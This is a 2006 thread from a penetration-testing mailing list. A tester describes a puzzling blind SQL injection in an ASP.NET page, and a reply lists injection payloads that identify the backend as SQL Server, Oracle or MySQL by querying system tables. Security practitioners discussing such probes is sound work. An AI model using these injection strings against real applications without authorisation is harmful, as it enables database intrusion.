When I find a Blind SQL Vulnerability and I want to guess the Databsee
which is behind I try the following injections:
Parameter=[valid value]' and exists(select * from sysobjects) and 'a'='a
If it returns a valid value the database is SQL Server
Parameter=[valid value]' and exists(select * from user_tables) and
'a'='a
If it returns a valid value the database is Oracle
Parameter=[valid value]' and exists(select * from mysql.user) and 'a'='a
If it returns a valid value the database is MySQL
I hope it helps.
Best Regards,
Isidro
-----Mensaje original-----
De: rr@neo.dtcom.lv [mailto:rr@neo.dtcom.lv]
Enviado el: martes, 08 de agosto de 2006 11:19
Para: pen-test@securityfocus.com
Asunto: SQL injection (or not?)
Hi.
I'm having weird situation with sql injection (I guess). Unfortunately
there is no error message displayed - blind injection, so all that I
know - query is valid or not.
script.aspx?parameter=' and 'a'%2b'a'='aa no result, aparently query is
invalid, so it is not MSSQL, kind of
script.aspx?parameter=' and concat('a','a')='aa returns page, sql query
turns out to be valid, MySQL??
meanwhile
script.aspx?parameter=' and concat('a','a','a')='aaa no result, so it is
not MySQL
also I know that database should be MSSQL
concat is first function I found to work. Maybe it is not sql injection?
What else could it be?
rr
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